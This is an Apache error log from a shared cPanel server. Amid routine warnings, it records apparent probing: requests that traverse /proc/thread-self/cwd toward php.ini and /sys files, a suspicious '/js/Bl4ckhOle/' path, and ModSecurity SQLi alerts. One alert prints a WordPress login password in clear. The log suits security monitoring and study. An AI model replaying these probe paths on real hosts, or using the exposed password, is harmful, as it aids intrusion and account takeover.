[Fri Jul 17 09:16:28.138143 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:28.173352 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:59164] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:28.194296 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:59170] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:28.659432 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:28.659509 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:28.917931 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.16:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory119/node0/memory61/node0/memory72/node0/memory44/"] [unique_id "almllFh1WDijTxd1xw5P5AAAAAc"]
[Fri Jul 17 09:16:28.917968 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.16:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory119/node0/memory61/node0/memory72/node0/memory44/"] [unique_id "almllFh1WDijTxd1xw5P5AAAAAc"]
[Fri Jul 17 09:16:28.979291 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:59264] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:29.568719 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:29.802822 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:29.872467 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:30.065689 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:59330] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:30.967129 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:59380] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:31.115552 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:31.930118 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:32.041611 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:32.111017 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:53378] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:32.336415 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:33.044837 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:33.363352 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:33.447452 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:33.747299 2026] [ssl:error] [pid 1993671:tid 1993671] (5)Input/output error: [client 66.85.158.91:53456] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:33.750986 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:34.566030 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:34.979261 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:35.013318 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:53546] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:35.118529 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:53562] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:35.387866 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:35.488891 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:35.530133 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:53584] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:35.719300 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:53590] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:36.001118 2026] [authz_core:error] [pid 2036488:tid 2036488] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/opt/alt/php73/etc/php.ini
[Fri Jul 17 09:16:36.005817 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:36.106940 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:36.211110 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:0/subsystem/tty29/uevent"] [unique_id "almlnI1dLClkUfK_dfHoVAAAAAI"]
[Fri Jul 17 09:16:36.211151 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:0/subsystem/tty29/uevent"] [unique_id "almlnI1dLClkUfK_dfHoVAAAAAI"]
[Fri Jul 17 09:16:36.416748 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:36.417449 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/10:237/subsystem/kvm/power/"] [unique_id "almlnI-0g_VSPeIeFN3EAgAAAAs"]
[Fri Jul 17 09:16:36.417470 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/10:237/subsystem/kvm/power/"] [unique_id "almlnI-0g_VSPeIeFN3EAgAAAAs"]
[Fri Jul 17 09:16:36.626625 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:53662] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:36.711339 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almlm4e39YUk0SgV8AU9-QAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=2058&page_105=2929
[Fri Jul 17 09:16:36.711371 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almlm4e39YUk0SgV8AU9-QAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=2058&page_105=2929
[Fri Jul 17 09:16:37.444536 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty37/subsystem/ttyS3/device/driver/bind
[Fri Jul 17 09:16:37.757422 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty7/subsystem/ttyS1/device/driver/bind
[Fri Jul 17 09:16:38.059983 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:38.160761 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:38.617968 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:53754] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:38.981900 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:39.078124 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:39.282401 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty55/subsystem/ttyS3/device/driver/bind
[Fri Jul 17 09:16:39.757142 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:39.962916 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:40.073654 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:40.377259 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:41.289830 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:41.499819 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:41.500919 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/opt/alt/php56/var/"] [unique_id "almloQRRrtuZqNDDSqWzhgAAABo"]
[Fri Jul 17 09:16:41.500943 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/opt/alt/php56/var/"] [unique_id "almloQRRrtuZqNDDSqWzhgAAABo"]
[Fri Jul 17 09:16:41.625756 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:41.696945 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:42.729425 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:43.460407 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:45.659281 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:46.232181 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:35324] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:46.588713 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:46.630925 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:46.730914 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:46.759418 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:46.997421 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:47.097415 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:47.617423 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:47.819905 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:47.834787 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 78.175.236.232:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:16:48.024646 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:49.122653 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:49.247875 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:49.554809 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:50.439725 2026] [security2:error] [pid 2032156:tid 2032156] [client 64.225.121.94:0] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'novc' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: novc found within ARGS:pwd: millenniumagro123!@#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "millenniumagro.lk"] [uri "/wp-login.php"] [unique_id "almlqq14q1EBnanVMYGnpgAAAAk"], referer: https://mail.millenniumagro.lk/wp-login.php
[Fri Jul 17 09:16:50.440151 2026] [security2:error] [pid 2032156:tid 2032156] [client 64.225.121.94:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "millenniumagro.lk"] [uri "/wp-login.php"] [unique_id "almlqq14q1EBnanVMYGnpgAAAAk"], referer: https://mail.millenniumagro.lk/wp-login.php
[Fri Jul 17 09:16:50.476747 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:50.685079 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:50.790628 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:50.985662 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty14/subsystem/ttyS3/device/driver/bind
[Fri Jul 17 09:16:51.397141 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:51.903982 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:51.935477 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:50540] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:52.010782 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:52.156441 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:50580] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:52.314546 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/usb/drivers/usbserial_generic/bind
[Fri Jul 17 09:16:52.628125 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:52.820058 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:53.137785 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:53.443870 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:53.804634 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:54.235748 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:50676] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:54.872937 2026] [security2:error] [pid 2032156:tid 2032156] [client 64.225.121.94:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "millenniumagro.lk"] [uri "/wp-login.php"] [unique_id "almlqq14q1EBnanVMYGnpgAAAAk"], referer: https://mail.millenniumagro.lk/wp-login.php
[Fri Jul 17 09:16:55.606484 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:55.709799 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:55.786880 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:33/subsystem/tty46/uevent"] [unique_id "almlr1CBpfuYyhJ140vWXwAAAB4"]
[Fri Jul 17 09:16:55.786923 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:33/subsystem/tty46/uevent"] [unique_id "almlr1CBpfuYyhJ140vWXwAAAB4"]
[Fri Jul 17 09:16:56.439469 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:56.747336 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:57.171406 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:57.267022 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:57.462851 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:57.565783 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:58.072464 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:58.072558 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:58.072595 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:58.072641 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:58.072691 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:58.072709 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:58.480270 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:58.541515 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:50848] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:58.886846 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:59.394824 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:59.693860 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:50934] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:59.697872 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:33/subsystem/event5/device/capabilities/key"] [unique_id "almls4l9vhFBGA6D8l991wAAAAw"]
[Fri Jul 17 09:16:59.697904 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:33/subsystem/event5/device/capabilities/key"] [unique_id "almls4l9vhFBGA6D8l991wAAAAw"]
[Fri Jul 17 09:16:59.951537 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:50942] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:00.336978 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:50964] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:00.590267 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:00.936934 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:01.473272 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:01.491916 2026] [ssl:error] [pid 2018768:tid 2018768] (5)Input/output error: [client 66.85.158.91:33802] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:02.018242 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:33810] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:02.682961 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:02.989468 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:03.090195 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:03.285249 2026] [authz_core:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/opt/alt/php80/etc/php.ini
[Fri Jul 17 09:17:03.504519 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:03.810183 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:04.730397 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:33906] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:05.382166 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:05.587022 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:05.587161 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:05.587202 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:05.587289 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:05.587375 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:05.587410 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:05.794337 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:33976] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:05.956905 2026] [authz_core:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/opt/alt/php84/etc/php.ini
[Fri Jul 17 09:17:06.612034 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:34012] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:06.646802 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:08.549239 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:08.968769 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:08.988200 2026] [authz_core:error] [pid 2013829:tid 2013829] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/opt/alt/php82/etc/php.ini
[Fri Jul 17 09:17:09.891161 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:10.197852 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:10.197992 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:10.411254 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:10.603001 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:12.286865 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:12.818648 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:13.538603 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlwejME1mgqYZ5O94p6QAAAAE"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:17:13.538650 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlwejME1mgqYZ5O94p6QAAAAE"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
